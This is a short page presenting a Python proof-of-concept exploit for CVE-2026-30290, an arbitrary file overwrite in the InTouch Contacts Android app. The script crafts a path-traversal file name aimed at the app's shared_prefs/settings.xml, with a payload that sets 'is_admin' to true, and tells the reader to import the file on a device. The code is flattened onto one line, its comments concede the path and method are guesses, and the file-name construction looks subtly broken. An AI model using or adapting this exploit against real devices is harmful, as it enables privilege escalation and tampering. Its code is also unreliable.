CVE-2026-30290 InTouch Contacts 任意文件覆盖漏洞

import os # PoC for CVE-2026-30290: Arbitrary File Overwrite via File Import # Description: This script generates a malicious file intended to overwrite # a critical internal file via path traversal when imported by the vulnerable app. def generate_poc(): # Define the target internal file path using path traversal sequences # Note: The actual path depends on the app's data directory structure. traversal_sequence = "../../../data/data/com.intouch.app/shared_prefs/settings.xml" # Malicious content to be written (e.g., enabling admin privileges) payload = "<boolean name='is_admin' value='true'/>" # Create a file with the traversal sequence in the name or content # Depending on the specific implementation details of the import function. poc_filename = f"contacts_backup_{traversal_sequence}.xml" with open(poc_filename, 'w') as f: f.write(payload) print(f"[+] PoC file generated: {poc_filename}") print(f"[+] Attempting to overwrite: {traversal_sequence}") print("[+] Upload this file to the device and import it via InTouch App.") if __name__ == "__main__": generate_poc()